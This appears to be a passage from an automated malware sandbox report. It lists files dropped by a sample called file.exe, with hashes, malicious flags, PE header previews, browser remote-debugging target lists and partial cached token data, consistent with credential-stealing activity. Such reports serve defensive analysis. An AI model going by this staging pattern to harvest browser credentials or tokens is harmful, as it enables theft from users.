6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\db7dfa77-6ca0-4572-abee-13d63040cb5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46379
Entropy (8bit):	6.087519362109047
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQc5dKjHni1zNtmR49PSL0xIQmxgpCio0JDSgzMMd6qD47u30U:ZMk1rT8H1K1R4VIQ9Fo0tSmd6qE7O
MD5:	8AEE5666D5B6875F786F1976706932FD
SHA1:	BA00006F3F0F67D0A77958D9EDD486F8D9A5ADB9
SHA-256:	CC0F5FBB2923861A6CC7C7051E9B9F70EC7529E0F1D4C6FB02BA57B62E3AB441
SHA-512:	D3E105E88E559600E68D492E4A13DDA638DC040D8AD4403E5510F02001FFE548216F4082EB454F03FDCCBDA692B8E527EDDBF4520FB32C7D598D7E09468A18D9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376892036263982","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c36d5f0b-7fbc-4176-ab13-fa502ba06f75"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732418440"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f124a1a2-883b-419c-a7f3-9bfd3e2e2fad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8491247931520256
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx/xl9Il8uNuuyvbZIV2I/UXsd1rc:m2Y7u7VIgI/UXL
MD5:	FE36B8724384CA6A68D6D7432848E5A6
SHA1:	14D34A0E59BAC08F4D0B029B674FE419542ABE8F
SHA-256:	253D81D8C3B7E7F7CC4749B44800BE80788AB3121D45C34C98DFDD536F9BAF6F
SHA-512:	A3F30AA15BAFBDB85105FDF19419E3E9BAB93902B7F6747F094C5D7702059407EC64372810AEFC8102C786DC9CB956BC627790E52FE524B5C660F09CB6C2A6A9
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.C.8.B.N.y.g.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.+.J.w.m.k.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.995280385461152
Encrypted:	false
SSDEEP:	96:SYT80S9y3LCAAoHUZKRDTmhNONXDnxO2SK09MGD:S+nSQnnSKwoFDnxO2SUQ
MD5:	91EF1369F3180B0C3B7E63CFC22653B1
SHA1:	FB26752E43EC1E5FF83C117FC192FCDDEC917BE8
SHA-256:	97D4773C44B4FDF0E103DA596E73A4BFBF863F5F387FB1642456A0733350E004
SHA-512:	761A76BCEA90FC4D5553DB700070CBE6AFF38BAA349113174BE3AB8A3DDED9862CEB9E4F1991135F020A2810C8570A17CBDC28E68FAE8E3A69D5AF36A4C16D23
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.f./.8.H.C.A.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.+.J.w.m.k.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.900015051316725
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xtxl9Il8uw4lxtL0OMfBQGQxBOVPHNLmAfuqGAhd/vc:azYy4zMKGQxCfZlf0n
MD5:	7B7897E4E4D9C71A530CC0C96FF97484
SHA1:	23FDE4FE91B390153E814C16311A0E3A5804BEC7
SHA-256:	6CA92964BA67DA566732E349C028234A392F49F1AA17971C3C3BECE8367D4CC7
SHA-512:	2D3782BCE314CD71147C518654549BBBAA1799636A0DABB67C7499FC42CC84D4E93DD7B7B24952773F7EF2A341471789669C5363A35256B9D32DD73ECC616C15
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".X.6.x.g.T.f.F.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.+.J.w.m.k.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.402080195395827
Encrypted:	false
SSDEEP:	96:6NnQ6HQVNnQFWbQYNnQ4h19Q4SNnQddgEQwNnQPK3QPkNnQgDQ5NnQ3wwQ3GNnQS:6NWNAgN4NsdNqKakNlCN3SNWKkg
MD5:	5F80483CF78CF12C447190303D235B47
SHA1:	95B69FE6A0C896934651C0A09633038318D699E8
SHA-256:	9D4E6426420143FD7387A6E28E689361DAB091B99E27DC032B8573CC60F0F316
SHA-512:	7517B6B823B069FB4EE2F2131CF81E0492EBCC6B1A5B5E2B5FE4A70AC5DD7FE47D7D02CAAEC4B3F8531E65596DD34D83B4C95E1B0BD316EEBD4B0BB8FF21ECD1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E50F7DCE65F42B52601DFB25D1417D88",.. "id": "E50F7DCE65F42B52601DFB25D1417D88",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E50F7DCE65F42B52601DFB25D1417D88"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9C79E4157E8E7F66D3E4F3B156510737",.. "id": "9C79E4157E8E7F66D3E4F3B156510737",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9C79E4157E8E7F66D3E4F3B156510737"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.358340820236005
Encrypted:	false
SSDEEP:	48:SfNaoQJTEQwJFfNaoQ0QHfNaoQpQrfNaoQp0UrU0U8QC:6NnQJTEQwJxNnQ0Q/NnQpQDNnQp0UrUy
MD5:	264DB2E50FC2EEC7749C14794B756613
SHA1:	191D24B1CA22166A3D37B64BDDED1B05430863FA
SHA-256:	FE6B925385F27B0150018EAFA56ACA17909A25E15048679ABF6A7E91C1A74F8B
SHA-512:	3BD95BB4E135472BFE63269EADB89EE5FFAEA4DD3C6DF21D70272D0228A56E5FE670AD92F3D84DDA57B8EFB2AC2A209C7AFBF91005E57ADA7DD1A68BA420E21E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DB1F91F7FA3F90A0C8C975E16A1E1925",.. "id": "DB1F91F7FA3F90A0C8C975E16A1E1925",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DB1F91F7FA3F90A0C8C975E16A1E1925"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8D7572CE991D821BC81CE1D10E942D61",.. "id": "8D7572CE991D821BC81CE1D10E942D61",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8D7572CE991D821BC81CE1D10E942D61"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.950712593238817
Encrypted:	false
SSDEEP:	49152:JzqRbJAOwImTwJuvYsiI5kDbZF6j9FWHK:wRVA8xobiI566j9Aq
MD5:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
SHA1:	694124BF2E8D817B7F188706BBC49D0088317FE2
SHA-256:	D4E13FAEFC09EB85BE337713E8899E9F6761D45593E33D19B14AC6F986B2A103
SHA-512:	82B990CE963247C140161CE9AB28C79C5B4D648DDF46D622E152E3C0D79842BE1CF1009A493B7AF37B83976F36C05B56E353C6F7166DFC701979F87447F51FAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL.....-.....@.................................W...k.......D.....................L.............................<.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...dkmnrssd.@....1..4..................@...tqafgssw......L......*..............@....taggant.0... L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\rh[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.950531577382794
Encrypted:	false
SSDEEP:	49152:V9W86NOdgpqDrR07KEJkDVO0/fHNWkxRV/06UNlI/suQE:q8fCq5ukDb/1TnNKm/s
MD5:	4CECB04D97630CC2D5CCE80368B87FDD
SHA1:	4F693736497E06C820B91597AF84C6FECE13408B
SHA-256:	51698570A9C637EC0C9BC2B3CA6ACB7EDF3D7804C49B8EED33E82573950877DD
SHA-512:	ACDF93D12791A6A11B307FBBDC6DF2B27A6E8DE6B8CC015C4892304D4653E79AC58351600B53C7EA78D285D69DF8E8F2E270CF9A168B187D372A3DE17E84EC66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................K..........@.................................V...j.......p........................................................................................................... . .........<..................@....rsrc...p............L..............@....idata .............V..............@... ..)..........X..............@...ettnbbde......1......Z..............@...lbelwvmk......K......"..............@....taggant.0....K.."...&..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008589001\rh.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.950531577382794
Encrypted:	false
SSDEEP:	49152:V9W86NOdgpqDrR07KEJkDVO0/fHNWkxRV/06UNlI/suQE:q8fCq5ukDb/1TnNKm/s
MD5:	4CECB04D97630CC2D5CCE80368B87FDD
SHA1:	4F693736497E06C820B91597AF84C6FECE13408B
SHA-256:	51698570A9C637EC0C9BC2B3CA6ACB7EDF3D7804C49B8EED33E82573950877DD
SHA-512:	ACDF93D12791A6A11B307FBBDC6DF2B27A6E8DE6B8CC015C4892304D4653E79AC58351600B53C7EA78D285D69DF8E8F2E270CF9A168B187D372A3DE17E84EC66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................K..........@.................................V...j.......p........................................................................................................... . .........<..................@....rsrc...p............L..............@....idata .............V..............@... 